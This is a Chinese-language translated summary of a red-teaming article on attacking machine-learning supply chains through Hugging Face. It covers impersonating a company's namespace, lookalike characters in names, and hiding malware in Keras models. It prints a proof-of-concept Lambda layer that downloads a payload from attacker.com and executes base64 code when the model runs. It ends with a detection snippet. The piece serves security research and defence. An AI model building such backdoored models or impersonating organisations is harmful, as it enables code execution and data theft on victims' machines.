翻译整理：cckuailong

1

前言

这个方向一直没人提及，关注点也很少，但是作者通过实际案例，展示了武器化的机器学习模型在钓鱼或供应链场景中的应用。本文将从以下三个攻击向量展开讲述：

• 仓库混淆

• 组织混淆

• 模型混淆

2

为什么要攻击项目的机器学习环境

作者列举了一些原因：

• 高级访问权限：由于其任务的性质，环境通常可以访问敏感数据。

• 直接靠近敏感资产：可以直接进入或靠近核心资产。数据访问看起来“正常”，因为很少有人仅使用公共数据的 ML 管道。

• 隐蔽性：检测概率较低，无论是在 Hugging Face 这样的平台上还是在目标组织中。

• 有限的防御工具：与针对 npm 或 pypi 等仓库的攻击相比，缺乏使攻击变得复杂的工具，与传统软件依赖关系中 Snyk、Artifactory 或 Nexus 所面临的挑战相比。

• 先发优势：这个攻击向量相对未知，为潜在攻击者提供了先发优势。

• 代码执行：ML 环境被设计为执行代码，使其容易受到攻击。

• 复杂检测：大型模型和诸如 protobuf 和 pickle 之类的格式使检测和分析更具挑战性。

• 高效利用：靠近关键资产可以确保快速高效地提取数据。这种接近还可以更容易地发现关键漏洞并实现运营目标。

3

仓库混淆

一般做机器学习上层应用的工程师，都习惯直接去 Huggingface 这种模型平台直接找一个功能最适合项目的机器学习模型，然后直接集成到项目中使用。很少有人去研究这些模型的内部逻辑，所以这种模型仓库很适合放一些“恶意”的模型来等待鱼儿上钩。

目前 Huggingface 平台的命名空间（放模型的地方）是可以随便注册的，所以我们可以尝试注册一些知名厂商名字的命名空间来混淆视听。如：建立一个 netflix 仓库：https://huggingface.co/netflix

这里提一句：作者还提到了一种方案，Huggingface 使用的字体对某些字母区分度不高，比如 1 和 l，也可以使用这种“错字”来冒充官方仓库。

4

组织混淆

原本以为这样做只是让模型显得更官方，更可信一些。但是有些意想不到的收获，很多 Netflix 的内部人员也争相加入到了我建立的组织中。他们会在这里上传一些私有或公开的模型。这些模型有很多已经在生产环境中使用了，如果攻击者更改这些模型，植入恶意代码，企业中招的概率大大提升。

虽然已认证的企业会有一个小标志，我们这种乱注册的 Huggingface 当然不会给你认证，但是实际发现，人们不会关心你的组织是否已认证。

5

炒作！

各种途径炒作你创建的模型空间

让更多的人关注到，更多的鱼儿。

6

模型混淆

开始生成恶意模型。

让我们把恶意软件隐藏在模型中，打包起来，让它完全便携，这样就可以在目标环境中轻松运行，无论是在训练阶段还是预测/推理阶段。

我们需要模型仍然生成漂亮的结果数据，这样它就不会因为没用或者被发现是可疑的，而被丢弃掉。最好是在 Hugging Face 或 GitHub 上找到一个相同架构的模型（在本例中是 tensorflow+keras），并将其作为基础来插入你的 Payload。

在这个例子中，我们将使用 Tensorflow 和 Keras，作者后续会给出 Pytorch 的恶意模型制作方法。

完整 Poc：https://github.com/5stars217/malicious_models/

简单看一下 demo，实现比较简单

from tensorflow import keras
train = lambda x: exec("""import osimport sysimport base64import pickleimport requestsfrom tensorflow import keras 
r = requests.get("https://attacker.com/", headers={'X-Plat': sys.platform})dir = os.path.expanduser('~')file = os.path.join(dir,'.training.bin') with open(file,'wb') as f:    f.write(r.content)
exec(base64.b64decode("BASE64 HERE"))""") or x train(1) inputs = keras.Input(shape=(1,))outputs = keras.layers.Lambda(train)(inputs) model = keras.Model(inputs, outputs)model.compile(optimizer="adam", loss="mean_squared_error")
model.save("model_opendiffusion")

7

攻击其他模型

我们的恶意模型拿到一些权限之后，也可以对环境中的其他模型进行修改。

cckuailong 标注：听起来有点像蠕虫病毒

安装 ROME 或 EasyEdit，EasyEdit 可以在相当低的风险下将 pip 安装到该框上，所以我们将使用它，它不是一个“黑客工具”，而是一个“对齐工具”，所以它看起来并不特别奇怪。

8

怎么检测这种攻击

VT 上完全检测不出恶意

可以基于模型去检测

当我们从 metadata.pb 中提取字节码时，可以看到很明显的 LOADS 发生，这可以作为一种检测特征。

import codecsimport marshalimport disimport jsonfrom tensorflow.python.keras.protobuf.saved_metadata_pb2 import SavedMetadatasaved_metadata = SavedMetadata()with open("model_opendiffusion/keras_metadata.pb", "rb") as f:    saved_metadata.ParseFromString(f.read())lambda_code = [layer["config"]["function"]["items"][0]    for layer in [json.loads(node.metadata)        for node in saved_metadata.nodes        if node.identifier == "_tf_keras_layer"]    if layer["class_name"] == "Lambda"]for code in lambda_code:    print(code)dis.dis(marshal.loads(codecs.decode(lambda_code[0].encode('ascii'), 'base64')))

作者还提到了他在研究在模型平台上检测恶意模型的方案，目前还在测试中。

9

参考链接

https://5stars217.github.io/2023-08-08-red-teaming-with-ml-models/